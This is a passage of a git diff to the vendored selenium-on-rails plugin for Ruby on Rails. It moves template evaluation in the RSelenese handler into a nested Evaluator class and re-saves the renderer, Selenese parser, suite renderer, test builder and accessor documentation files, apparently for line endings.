-    @template.extend SeleniumOnRails::PartialsSupport
-    @page_title = test_case_name filename
-    output = render_to_string :file => filename, :locals => {"page_title" => @page_title}
-    layout = (output =~ /<html>/i ? false : layout_path)
-    render :text => output, :layout => layout
-
-    headers['Cache-control'] = 'no-cache'
-    headers['Pragma'] = 'no-cache'
-    headers['Expires'] = '-1'
-  end
-  
-  def test_case_name filename
-    File.basename(filename).sub(/\..*/,'').humanize
-  end
-
+module SeleniumOnRails::Renderer
+  include SeleniumOnRails::Paths
+  
+  def render_test_case filename
+    @template.extend SeleniumOnRails::PartialsSupport
+    @page_title = test_case_name filename
+    output = render_to_string :file => filename, :locals => {"page_title" => @page_title}
+    layout = (output =~ /<html>/i ? false : layout_path)
+    render :text => output, :layout => layout
+
+    headers['Cache-control'] = 'no-cache'
+    headers['Pragma'] = 'no-cache'
+    headers['Expires'] = '-1'
+  end
+  
+  def test_case_name filename
+    File.basename(filename).sub(/\..*/,'').humanize
+  end
+
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/rselenese.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/rselenese.rb
index c744582d..cc297f0f 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/rselenese.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/rselenese.rb
@@ -10,7 +10,7 @@ class SeleniumOnRails::RSelenese < SeleniumOnRails::TestBuilder
 end
 ActionView::Template.register_template_handler 'rsel', SeleniumOnRails::RSelenese
 
-class SeleniumOnRails::RSelenese < SeleniumOnRails::TestBuilder
+class SeleniumOnRails::RSelenese
   attr_accessor :view
 
   def initialize view
@@ -18,19 +18,27 @@ class SeleniumOnRails::RSelenese < SeleniumOnRails::TestBuilder
     @view = view
   end
 
-  def render template, local_assigns
+  def render template, local_assigns = {}
     title = (@view.assigns['page_title'] or local_assigns['page_title'])
-    table(title) do
-      test = self #to enable test.command
 
-      assign_locals_code = ''
-      local_assigns.each_key {|key| assign_locals_code << "#{key} = local_assigns[#{key.inspect}];"}
-
-      eval assign_locals_code + "\n" + template.source
-    end
+    evaluator = Evaluator.new(@view)
+    evaluator.run_script title, assign_locals_code_from(local_assigns) + "\n" + template.source, local_assigns
+  end
+  
+  def assign_locals_code_from(local_assigns)
+    return local_assigns.keys.collect {|key| "#{key} = local_assigns[#{key.inspect}];"}.join
   end
   
   def self.call(template)
     "#{name}.new(self).render(template, local_assigns)"
   end
+
+  class Evaluator < SeleniumOnRails::TestBuilder
+    def run_script(title, script, local_assigns)
+      table(title) do
+        test = self #to enable test.command
+        eval script
+      end 
+    end
+  end
 end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/selenese.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/selenese.rb
index fa3d8762..d65a8df6 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/selenese.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/selenese.rb
@@ -1,87 +1,87 @@
-require 'selenium_on_rails/partials_support'
-
-class SeleniumOnRails::Selenese
-end
-ActionView::Template.register_template_handler 'sel', SeleniumOnRails::Selenese
-
-
-class SeleniumOnRails::Selenese  
-  def initialize view
-    @view = view
-  end
-
-  def render template, local_assigns = {}
-    name = (@view.assigns['page_title'] or local_assigns['page_title'])
-    lines = template.source.strip.split "\n"
-    html = ''
-    html << extract_comments(lines)
-    html << extract_commands(lines, name)
-    html << extract_comments(lines)
-    raise 'You cannot have comments in the middle of commands!' if next_line lines, :any
-    html
-  end
-  
-  private
-    def next_line lines, expects
-      while lines.any?
-        l = lines.shift.strip
-        next if (l.empty? and expects != :comment)
-        comment = (l =~ /^\|.*\|$/).nil?
-        if (comment and expects == :command) or (!comment and expects == :comment)
-          lines.unshift l
-          return nil
-        end
-        return l
-      end
-    end
-    
-    def self.call(template)
-      "#{name}.new(self).render(template, local_assigns)"
-    end
-
-    def extract_comments lines
-      comments = ''
-      while (line = next_line lines, :comment)
-        comments << line + "\n"
-      end
-      if defined? RedCloth
-        comments = RedCloth.new(comments).to_html
-      end
-      comments += "\n" unless comments.empty?
-      comments
-    end
-
-    def extract_commands lines, name
-      html = "<table>\n<tr><th colspan=\"3\">#{name}</th></tr>\n"
-      while (line = next_line lines, :command)
-        line = line[1..-2] #remove starting and ending |
-        cells = line.split '|'
-        if cells.first == 'includePartial'
-          html << include_partial(cells[1..-1])
-          next
-        end
-        raise 'There might only be a maximum of three cells!' if cells.length > 3
-        html << '<tr>'
-        (1..3).each do
-          cell = cells.shift
-          cell = (cell ? CGI.escapeHTML(cell.strip) : '&nbsp;')
-          html << "<td>#{cell}</td>"
-        end
-        html << "</tr>\n"
-      end
-      html << "</table>\n"
-    end
-
-    def include_partial params
-      partial = params.shift
-      locals = {}
-      params.each do |assignment|
-        next if assignment.empty?
-        _, var, value = assignment.split(/^([a-z_][a-zA-Z0-9_]*)\s*=\s*(.*)$/)
-        raise "Invalid format '#{assignment}'. Should be '|includePartial|partial|var1=value|var2=value|." unless var
-        locals[var.to_sym] = value or ''
-      end
-      @view.render :partial => partial, :locals => locals
-    end
-
+require 'selenium_on_rails/partials_support'
+
+class SeleniumOnRails::Selenese
+end
+ActionView::Template.register_template_handler 'sel', SeleniumOnRails::Selenese
+
+
+class SeleniumOnRails::Selenese  
+  def initialize view
+    @view = view
+  end
+
+  def render template, local_assigns = {}
+    name = (@view.assigns['page_title'] or local_assigns['page_title'])
+    lines = template.source.strip.split "\n"
+    html = ''
+    html << extract_comments(lines)
+    html << extract_commands(lines, name)
+    html << extract_comments(lines)
+    raise 'You cannot have comments in the middle of commands!' if next_line lines, :any
+    html
+  end
+  
+  private
+    def next_line lines, expects
+      while lines.any?
+        l = lines.shift.strip
+        next if (l.empty? and expects != :comment)
+        comment = (l =~ /^\|.*\|$/).nil?
+        if (comment and expects == :command) or (!comment and expects == :comment)
+          lines.unshift l
+          return nil
+        end
+        return l
+      end
+    end
+    
+    def self.call(template)
+      "#{name}.new(self).render(template, local_assigns)"
+    end
+
+    def extract_comments lines
+      comments = ''
+      while (line = next_line lines, :comment)
+        comments << line + "\n"
+      end
+      if defined? RedCloth
+        comments = RedCloth.new(comments).to_html
+      end
+      comments += "\n" unless comments.empty?
+      comments
+    end
+
+    def extract_commands lines, name
+      html = "<table>\n<tr><th colspan=\"3\">#{name}</th></tr>\n"
+      while (line = next_line lines, :command)
+        line = line[1..-2] #remove starting and ending |
+        cells = line.split '|'
+        if cells.first == 'includePartial'
+          html << include_partial(cells[1..-1])
+          next
+        end
+        raise 'There might only be a maximum of three cells!' if cells.length > 3
+        html << '<tr>'
+        (1..3).each do
+          cell = cells.shift
+          cell = (cell ? CGI.escapeHTML(cell.strip) : '&nbsp;')
+          html << "<td>#{cell}</td>"
+        end
+        html << "</tr>\n"
+      end
+      html << "</table>\n"
+    end
+
+    def include_partial params
+      partial = params.shift
+      locals = {}
+      params.each do |assignment|
+        next if assignment.empty?
+        _, var, value = assignment.split(/^([a-z_][a-zA-Z0-9_]*)\s*=\s*(.*)$/)
+        raise "Invalid format '#{assignment}'. Should be '|includePartial|partial|var1=value|var2=value|." unless var
+        locals[var.to_sym] = value or ''
+      end
+      @view.render :partial => partial, :locals => locals
+    end
+
 end
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/suite_renderer.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/suite_renderer.rb
index bff2b399..0774e841 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/suite_renderer.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/suite_renderer.rb
@@ -1,56 +1,56 @@
-require 'selenium_on_rails'
-
-module SeleniumOnRails
-  module SuiteRenderer
-    def test_suite_name path
-      return 'All test cases' if [nil, '/'].include? path_to_relative_url(path)
-      File.split(path)[-1].humanize
-    end
-  
-    def test_suites path
-      suites = []
-
-      parent_path = File.join(File.split(path).slice(0..-2)) #all but last
-      parent_path = path_to_relative_url parent_path
-      suites << ['..', parent_path] unless parent_path.nil?
-
-      visit_all_tests path, '', Proc.new {|n, p| suites << [n,path_to_relative_url(p)]}, nil
-      suites
-    end
-
-    def test_cases path
-      tests = []
-      visit_all_tests path, '', nil, Proc.new {|n, p| tests << [n,p]}
-      tests
-    end
-  
-    def link_to_test_case suite_name, filename
-      name = suite_name + test_case_name(filename)
-      link_to name, :action => :test_file, :testname => path_to_relative_url(filename).sub(/^\//,'')
-    end
-  
-    private ###############################################
-    
-    def path_to_relative_url path
-      slt = @controller.selenium_tests_path
-      return nil unless path.index slt
-      path.sub slt, ''
-    end
-            
-    def visit_all_tests path, suite_name, suite_consumer, test_consumer
-      dirs = [] #add dirs to an array in order for files to be processed before dirs
-      Dir.entries(path).sort.each do |e|
-        next if skip_file?(e) or ['.','..'].include?(e)
-        filename = File.join path, e
-        if File.directory? filename
-          dirs << [filename, "#{suite_name}#{e.humanize}."]
-          suite_consumer.call("#{suite_name}#{e.humanize}", filename) if suite_consumer
-        else
-          test_consumer.call(suite_name, filename) if test_consumer
-        end
-      end
-      #recurse through dirs
-      dirs.each {|p, n| visit_all_tests p, n, suite_consumer, test_consumer }
-    end      
-  end
-end
+require 'selenium_on_rails'
+
+module SeleniumOnRails
+  module SuiteRenderer
+    def test_suite_name path
+      return 'All test cases' if [nil, '/'].include? path_to_relative_url(path)
+      File.split(path)[-1].humanize
+    end
+  
+    def test_suites path
+      suites = []
+
+      parent_path = File.join(File.split(path).slice(0..-2)) #all but last
+      parent_path = path_to_relative_url parent_path
+      suites << ['..', parent_path] unless parent_path.nil?
+
+      visit_all_tests path, '', Proc.new {|n, p| suites << [n,path_to_relative_url(p)]}, nil
+      suites
+    end
+
+    def test_cases path
+      tests = []
+      visit_all_tests path, '', nil, Proc.new {|n, p| tests << [n,p]}
+      tests
+    end
+  
+    def link_to_test_case suite_name, filename
+      name = suite_name + test_case_name(filename)
+      link_to name, :action => :test_file, :testname => path_to_relative_url(filename).sub(/^\//,'')
+    end
+  
+    private ###############################################
+    
+    def path_to_relative_url path
+      slt = @controller.selenium_tests_path
+      return nil unless path.index slt
+      path.sub slt, ''
+    end
+            
+    def visit_all_tests path, suite_name, suite_consumer, test_consumer
+      dirs = [] #add dirs to an array in order for files to be processed before dirs
+      Dir.entries(path).sort.each do |e|
+        next if skip_file?(e) or ['.','..'].include?(e)
+        filename = File.join path, e
+        if File.directory? filename
+          dirs << [filename, "#{suite_name}#{e.humanize}."]
+          suite_consumer.call("#{suite_name}#{e.humanize}", filename) if suite_consumer
+        else
+          test_consumer.call(suite_name, filename) if test_consumer
+        end
+      end
+      #recurse through dirs
+      dirs.each {|p, n| visit_all_tests p, n, suite_consumer, test_consumer }
+    end      
+  end
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder.rb
index 3b0b7ed8..53f7e7aa 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder.rb
@@ -1,116 +1,116 @@
-require 'selenium_on_rails/test_builder_actions'
-require 'selenium_on_rails/test_builder_accessors'
-
-# Create test_builder_user_actions.rb to support actions included
-# in selenium-core's user-extensions.js
-#
-# See test_builder_user_actions.rb.example for examples matching
-# selenium-core's user-extensions.js.sample
-module SeleniumOnRails::TestBuilderUserActions
-end
-require 'selenium_on_rails/test_builder_user_actions' if File.exist?(File.expand_path(File.join(File.dirname(__FILE__), 'test_builder_user_actions.rb')))
-
-
-# Create test_builder_user_accessors.rb to support accessors
-# included in selenium-core's user-extensions.js
-#
-# See test_builder_user_accessors.rb.example for examples matching
-# selenium-core's user-extensions.js.sample
-module SeleniumOnRails::TestBuilderUserAccessors
-end
-require 'selenium_on_rails/test_builder_user_accessors' if File.exist?(File.expand_path(File.join(File.dirname(__FILE__), 'test_builder_user_accessors.rb')))
-
-# Builds Selenium test table using a high-level Ruby interface. Normally
-# invoked through SeleniumOnRails::RSelenese.
-#
-# See SeleniumOnRails::TestBuilderActions for the available actions and
-# SeleniumOnRails::TestBuilderAccessors for the available checks.
-#
-# For more information on the commands supported by TestBuilder, see the
-# Selenium Commands Documentation at
-# http://release.openqa.org/selenium-core/nightly/reference.html.
-class SeleniumOnRails::TestBuilder
-  include SeleniumOnRails::TestBuilderActions
-  include SeleniumOnRails::TestBuilderAccessors
-  include SeleniumOnRails::TestBuilderUserActions
-  include SeleniumOnRails::TestBuilderUserAccessors
-
-  # Convert _str_ to a Selenium command name.
-  def self.selenize str
-    str.camelize.gsub(/^[A-Z]/) {|s| s.downcase }
-  end
-
-  # Prepends _pattern_ with 'exact:' if it would be considered containing 
-  # string-match pattern otherwise.
-  def exactize pattern
-    pattern.include?(':') ? "exact:#{pattern}" : pattern
-  end
-
-  # Create a new TestBuilder for _view_.
-  def initialize view
-    @view = view
-    @output = ''
-    @xml = Builder::XmlMarkup.new :indent => 2, :target => @output
-  end
-
-  # Add a new table of tests, and return the HTML.
-  def table title
-    @xml.table do
-      @xml.tr do @xml.th(title, :colspan => 3) end
-      yield self
-    end
-  end
-
-  # Add a new test command using _cmd_, _target_ and _value_.
-  def command cmd, target=nil, value=nil
-    @xml.tr do
-      _tdata cmd
-      _tdata target
-      _tdata value
-    end
-  end
-  # :nodoc
-  alias_method :command_verbatim, :command 
-
-  # Same as _command_ but add _AndWait_ to the name of _cmd_.
-  def command_and_wait cmd, target=nil, value=nil
-    command_verbatim cmd.to_s + 'AndWait', target, value
-  end
-
-  # Re routes commands in the provided block to #command_and_wait instead of
-  # #command.
-  def make_command_waiting
-    self.class.send :alias_method, :command, :command_and_wait
-    yield
-    self.class.send :alias_method, :command, :command_verbatim 
-  end
-
-protected
-
-  # If _url_ is a string, return unchanged.  Otherwise, pass it to
-  # ActionView#UrlHelper#url_for.
-  def url_arg url
-    if url.instance_of?(String) then url else exactize(@view.url_for(url)) end
-  end
-
-  # If _arg_ is an array formats _arg_ to a textual representation.
-  # Otherwise return unchanged.
-  def collection_arg arg
-    if arg.is_a? Array
-      arg.collect {|e| e.gsub(/[\\,]/) {|s| "\\#{s}" } }.join(',')
-    else
-      arg
-    end
-  end
-
-private
-
-  # Output a single TD element.
-  def _tdata value
-    if value
-      @xml.td(value.to_s)
-    else
-      @xml.td do @xml.target! << '&nbsp;' end
-    end
-  end
-end
+require 'selenium_on_rails/test_builder_actions'
+require 'selenium_on_rails/test_builder_accessors'
+
+# Create test_builder_user_actions.rb to support actions included
+# in selenium-core's user-extensions.js
+#
+# See test_builder_user_actions.rb.example for examples matching
+# selenium-core's user-extensions.js.sample
+module SeleniumOnRails::TestBuilderUserActions
+end
+require 'selenium_on_rails/test_builder_user_actions' if File.exist?(File.expand_path(File.join(File.dirname(__FILE__), 'test_builder_user_actions.rb')))
+
+
+# Create test_builder_user_accessors.rb to support accessors
+# included in selenium-core's user-extensions.js
+#
+# See test_builder_user_accessors.rb.example for examples matching
+# selenium-core's user-extensions.js.sample
+module SeleniumOnRails::TestBuilderUserAccessors
+end
+require 'selenium_on_rails/test_builder_user_accessors' if File.exist?(File.expand_path(File.join(File.dirname(__FILE__), 'test_builder_user_accessors.rb')))
+
+# Builds Selenium test table using a high-level Ruby interface. Normally
+# invoked through SeleniumOnRails::RSelenese.
+#
+# See SeleniumOnRails::TestBuilderActions for the available actions and
+# SeleniumOnRails::TestBuilderAccessors for the available checks.
+#
+# For more information on the commands supported by TestBuilder, see the
+# Selenium Commands Documentation at
+# http://release.openqa.org/selenium-core/nightly/reference.html.
+class SeleniumOnRails::TestBuilder
+  include SeleniumOnRails::TestBuilderActions
+  include SeleniumOnRails::TestBuilderAccessors
+  include SeleniumOnRails::TestBuilderUserActions
+  include SeleniumOnRails::TestBuilderUserAccessors
+
+  # Convert _str_ to a Selenium command name.
+  def self.selenize str
+    str.camelize.gsub(/^[A-Z]/) {|s| s.downcase }
+  end
+
+  # Prepends _pattern_ with 'exact:' if it would be considered containing 
+  # string-match pattern otherwise.
+  def exactize pattern
+    pattern.include?(':') ? "exact:#{pattern}" : pattern
+  end
+
+  # Create a new TestBuilder for _view_.
+  def initialize view
+    @view = view
+    @output = ''
+    @xml = Builder::XmlMarkup.new :indent => 2, :target => @output
+  end
+
+  # Add a new table of tests, and return the HTML.
+  def table title
+    @xml.table do
+      @xml.tr do @xml.th(title, :colspan => 3) end
+      yield self
+    end
+  end
+
+  # Add a new test command using _cmd_, _target_ and _value_.
+  def command cmd, target=nil, value=nil
+    @xml.tr do
+      _tdata cmd
+      _tdata target
+      _tdata value
+    end
+  end
+  # :nodoc
+  alias_method :command_verbatim, :command 
+
+  # Same as _command_ but add _AndWait_ to the name of _cmd_.
+  def command_and_wait cmd, target=nil, value=nil
+    command_verbatim cmd.to_s + 'AndWait', target, value
+  end
+
+  # Re routes commands in the provided block to #command_and_wait instead of
+  # #command.
+  def make_command_waiting
+    self.class.send :alias_method, :command, :command_and_wait
+    yield
+    self.class.send :alias_method, :command, :command_verbatim 
+  end
+
+protected
+
+  # If _url_ is a string, return unchanged.  Otherwise, pass it to
+  # ActionView#UrlHelper#url_for.
+  def url_arg url
+    if url.instance_of?(String) then url else exactize(@view.url_for(url)) end
+  end
+
+  # If _arg_ is an array formats _arg_ to a textual representation.
+  # Otherwise return unchanged.
+  def collection_arg arg
+    if arg.is_a? Array
+      arg.collect {|e| e.gsub(/[\\,]/) {|s| "\\#{s}" } }.join(',')
+    else
+      arg
+    end
+  end
+
+private
+
+  # Output a single TD element.
+  def _tdata value
+    if value
+      @xml.td(value.to_s)
+    else
+      @xml.td do @xml.target! << '&nbsp;' end
+    end
+  end
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_accessors.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_accessors.rb
index a16ee4fa..ccd09fb3 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_accessors.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_accessors.rb
@@ -1,1002 +1,1002 @@
-# The accessors available for SeleniumOnRails::TestBuilder tests.
-#
-# For each +store_foo+ there's +assert_foo+, +assert_not_foo+, +verify_foo+,
-# +verify_not_foo+, +wait_for_foo+, +wait_for_not_foo+.
-module SeleniumOnRails::TestBuilderAccessors
-  
-  # Tell Selenium to expect an error on the next command execution.
-  #
-  # NOTE: <tt>store_error_on_next</tt> is currently not supported by 
-  # Selenium Core and is only added to here as a shortcut for 
-  # generating the related assertions.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_error_on_next(message)</tt>
-  # * <tt>assert_not_error_on_next(message)</tt>
-  # * <tt>verify_error_on_next(message)</tt>
-  # * <tt>verify_not_error_on_next(message)</tt>
-  # * <tt>wait_for_error_on_next(message)</tt>
-  # * <tt>wait_for_not_error_on_next(message)</tt>
-  def store_error_on_next message
-    raise 'Not supported in Selenium Core at the moment'
-  end
-  
-  # Tell Selenium to expect a failure on the next command execution.
-  #
-  # NOTE: <tt>store_failure_on_next</tt> is currently not supported by 
-  # Selenium Core and is only added to here as a shortcut for 
-  # generating the related assertions.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_failure_on_next(message)</tt>
-  # * <tt>assert_not_failure_on_next(message)</tt>
-  # * <tt>verify_failure_on_next(message)</tt>
-  # * <tt>verify_not_failure_on_next(message)</tt>
-  # * <tt>wait_for_failure_on_next(message)</tt>
-  # * <tt>wait_for_not_failure_on_next(message)</tt>
-  def store_failure_on_next message
-    raise 'Not supported in Selenium Core at the moment'
-  end
-  
-  # Returns the IDs of all windows that the browser knows about.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assertAllWindowIds(pattern)</tt>
-  # * <tt>assertNotAllWindowIds(pattern)</tt>
-  # * <tt>verifyAllWindowIds(pattern)</tt>
-  # * <tt>verifyNotAllWindowIds(pattern)</tt>
-  # * <tt>waitForAllWindowIds(pattern)</tt>
-  # * <tt>waitForNotAllWindowIds(pattern)</tt>
-  def store_all_window_ids variable_name
-    command 'storeAllWindowIds', variable_name
-  end
-  
-  # Returns the names of all windows that the browser knows about.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assertAllWindowNames(pattern)</tt>
-  # * <tt>assertNotAllWindowNames(pattern)</tt>
-  # * <tt>verifyAllWindowNames(pattern)</tt>
-  # * <tt>verifyNotAllWindowNames(pattern)</tt>
-  # * <tt>waitForAllWindowNames(pattern)</tt>
-  # * <tt>waitForNotAllWindowNames(pattern)</tt>
-  def store_all_window_names variable_name
-    command 'storeAllWindowNames', variable_name
-  end
-  
-  # Returns the titles of all windows that the browser knows about.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assertAllWindowTitles(pattern)</tt>
-  # * <tt>assertNotAllWindowTitles(pattern)</tt>
-  # * <tt>verifyAllWindowTitles(pattern)</tt>
-  # * <tt>verifyNotAllWindowTitles(pattern)</tt>
-  # * <tt>waitForAllWindowTitles(pattern)</tt>
-  # * <tt>waitForNotAllWindowTitles(pattern)</tt>
-  def store_all_window_titles variable_name
-    command 'storeAllWindowTitles', variable_name
-  end
-  
-  # Has an alert occurred? 
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_alert_present</tt>
-  # * <tt>assert_alert_not_present</tt>
-  # * <tt>verify_alert_present</tt>
-  # * <tt>verify_alert_not_present</tt>
-  # * <tt>wait_for_alert_present</tt>
-  # * <tt>wait_for_alert_not_present</tt>
-  def store_alert_present variable_name
-    command 'storeAlertPresent', variable_name
-  end
-  
-  # Returns every instance of some attribute from all known windows.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_attribute_from_all_windows(attribute_name, pattern)</tt>
-  # * <tt>assert_not_attribute_from_all_windows(attribute_name, pattern)</tt>
-  # * <tt>verify_attribute_from_all_windows(attribute_name, pattern)</tt>
-  # * <tt>verify_not_attribute_from_all_windows(attribute_name, pattern)</tt>
-  # * <tt>wait_for_attribute_from_all_windows(attribute_name, pattern)</tt>
-  # * <tt>wait_for_not_attribute_from_all_windows(attribute_name, pattern)</tt>
-  def store_attribute_from_all_windows attribute_name, variable_name
-    command 'storeAttributeFromAllWindows', attribute_name, variable_name
-  end
-
-  # Has a prompt occurred? 
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_prompt_present</tt>
-  # * <tt>assert_prompt_not_present</tt>
-  # * <tt>verify_prompt_present</tt>
-  # * <tt>verify_prompt_not_present</tt>
-  # * <tt>wait_for_prompt_present</tt>
-  # * <tt>wait_for_prompt_not_present</tt>
-  def store_prompt_present variable_name
-    command 'storePromptPresent', variable_name
-  end
-
-  # Has <tt>confirm()</tt> been called? 
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_confirmation_present</tt>
-  # * <tt>assert_confirmation_not_present</tt>
-  # * <tt>verify_confirmation_present</tt>
-  # * <tt>verify_confirmation_not_present</tt>
-  # * <tt>wait_for_confirmation_present</tt>
-  # * <tt>wait_for_confirmation_not_present</tt>
-  def store_confirmation_present variable_name
-    command 'storeConfirmationPresent', variable_name
-  end
-  
-  # Return all cookies of the current page under test.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_cookie(pattern)</tt>
-  # * <tt>assert_not_cookie(pattern)</tt>
-  # * <tt>verify_cookie(pattern)</tt>
-  # * <tt>verify_not_cookie(pattern)</tt>
-  # * <tt>wait_for_cookie(pattern)</tt>
-  # * <tt>wait_for_not_cookie(pattern)</tt>
-  def store_cookie variable_name
-    command 'storeCookie', variable_name
-  end
-  
-  # Retrieves the text cursor position in the given input element or 
-  # textarea; beware, this may not work perfectly on all browsers.
-  #
-  # This method will fail if the specified element isn't an input element 
-  # or textarea, or there is no cursor in the element.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_cursor_position(locator, pattern)</tt>
-  # * <tt>assert_not_cursor_position(locator, pattern)</tt>
-  # * <tt>verify_cursor_position(locator, pattern)</tt>
-  # * <tt>verify_not_cursor_position(locator, pattern)</tt>
-  # * <tt>wait_for_cursor_position(locator, pattern)</tt>
-  # * <tt>wait_for_not_cursor_position(locator, pattern)</tt>
-  def store_cursor_position locator, variable_name
-    command 'storeCursorPosition', locator, variable_name
-  end
-
-  # Retrieves the message of a JavaScript alert generated during the previous
-  # action, or fail if there were no alerts.
-  #
-  # Getting an alert has the same effect as manually clicking OK. If an alert
-  # is generated but you do not get/verify it, the next Selenium action will
-  # fail.
-  #
-  # NOTE: under Selenium, JavaScript alerts will NOT pop up a visible alert
-  # dialog.
-  #
-  # NOTE: Selenium does NOT support JavaScript alerts that are generated in a
-  # page's <tt>onload()</tt> event handler. In this case a visible dialog WILL be
-  # generated and Selenium will hang until someone manually clicks OK.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_alert(pattern)</tt>
-  # * <tt>assert_not_alert(pattern)</tt>
-  # * <tt>verify_alert_present(pattern)</tt>
-  # * <tt>verify_not_alert(pattern)</tt>
-  # * <tt>wait_for_alert(pattern)</tt>
-  # * <tt>wait_for_not_alert(pattern)</tt>
-  def store_alert variable_name
-    command 'storeAlert', variable_name
-  end
-
-  # Retrieves the message of a JavaScript confirmation dialog generated during
-  # the previous action.
-  #
-  # By default, the confirm function will return +true+, having the same effect
-  # as manually clicking OK. This can be changed by prior execution of the
-  # +choose_cancel_on_next_confirmation+ command. If a confirmation is
-  # generated but you do not get/verify it, the next Selenium action will fail.
-  #
-  # NOTE: under Selenium, JavaScript confirmations will NOT pop up a visible
-  # dialog.
-  #
-  # NOTE: Selenium does NOT support JavaScript confirmations that are generated
-  # in a page's <tt>onload()</tt> event handler. In this case a visible dialog WILL be
-  # generated and Selenium will hang until you manually click OK.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_confirmation(pattern)</tt>
-  # * <tt>assert_not_confirmation(pattern)</tt>
-  # * <tt>verify_confirmation_present(pattern)</tt>
-  # * <tt>verify_not_confirmation(pattern)</tt>
-  # * <tt>wait_for_confirmation(pattern)</tt>
-  # * <tt>wait_for_not_confirmation(pattern)</tt>
-  def store_confirmation variable_name
-    command 'storeConfirmation', variable_name
-  end
-
-  # Retrieves the message of a JavaScript question prompt dialog generated 
-  # during the previous action. 
-  #
-  # Successful handling of the prompt requires prior execution of the 
-  # +answer_on_next_prompt+ command. If a prompt is generated but you do not 
-  # get/verify it, the next Selenium action will fail.
-  #
-  # NOTE: under Selenium, JavaScript prompts will NOT pop up a visible dialog.
-  #
-  # NOTE: Selenium does NOT support JavaScript prompts that are generated in a 
-  # page's <tt>onload()</tt> event handler. In this case a visible dialog WILL be
-  # generated and Selenium will hang until someone manually clicks OK.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_prompt(pattern)</tt>
-  # * <tt>assert_not_prompt(pattern)</tt>
-  # * <tt>verify_prompt_present(pattern)</tt>
-  # * <tt>verify_not_prompt(pattern)</tt>
-  # * <tt>wait_for_prompt(pattern)</tt>
-  # * <tt>wait_for_not_prompt(pattern)</tt>
-  def store_prompt variable_name
-    command 'storePrompt', variable_name
-  end
-
-  # Gets the absolute URL of the current page. 
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_absolute_location(pattern)</tt>
-  # * <tt>assert_not_absolute_location(pattern)</tt>
-  # * <tt>verify_absolute_location_present(pattern)</tt>
-  # * <tt>verify_not_absolute_location(pattern)</tt>
-  # * <tt>wait_for_absolute_location(pattern)</tt>
-  # * <tt>wait_for_not_absolute_location(pattern)</tt>
-  def store_absolute_location variable_name
-    command 'storeAbsoluteLocation', variable_name
-  end
-
-  # Verify the location of the current page ends with the expected location. 
-  # If an URL querystring is provided, this is checked as well. 
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_location(pattern)</tt>
-  # * <tt>assert_not_location(pattern)</tt>
-  # * <tt>verify_location_present(pattern)</tt>
-  # * <tt>verify_not_location(pattern)</tt>
-  # * <tt>wait_for_location(pattern)</tt>
-  # * <tt>wait_for_not_location(pattern)</tt>
-  def store_location expected_location, variable_name
-    command 'storeLocation', expected_location, variable_name
-  end
-  
-  # Returns the number of pixels between "mousemove" events during 
-  # drag_and_drop commands (default=10).
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_mouse_speed(pattern)</tt>
-  # * <tt>assert_not_mouse_speed(pattern)</tt>
-  # * <tt>verify_mouse_speed(pattern)</tt>
-  # * <tt>verify_not_mouse_speed(pattern)</tt>
-  # * <tt>wait_for_mouse_speed(pattern)</tt>
-  # * <tt>wait_for_not_mouse_speed(pattern)</tt>
-  def store_mouse_speed variable_name
-    command 'storeMouseSpeed', variable_name
-  end
-  
-  # Gets the title of the current page.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_title(pattern)</tt>
-  # * <tt>assert_not_title(pattern)</tt>
-  # * <tt>verify_title_present(pattern)</tt>
-  # * <tt>verify_not_title(pattern)</tt>
-  # * <tt>wait_for_title(pattern)</tt>
-  # * <tt>wait_for_not_title(pattern)</tt>
-  def store_title variable_name
-    command 'storeTitle', variable_name
-  end
-
-  # Gets the entire text of the page.
-  #
-  # Related Assertions, automatically generated:
-  # * <tt>assert_body_text(pattern)</tt>
-  # * <tt>assert_not_body_text(pattern)</tt>
-  # * <tt>verify_body_text_present(pattern)</tt>
-  # * <tt>verify_not_body_text(pattern)</tt>
-  # * <tt>wait_for_body_text(pattern)</tt>
-  # * <tt>wait_for_not_body_text(pattern)</tt>
-  def store_body_text variable_name
-    command 'storeBodyText', variable_name
-  end
-
-  # Gets the (whitespace-trimmed) value of an input field (or anything else
-  # with a value parameter). For checkbox/radio elements, the value will be
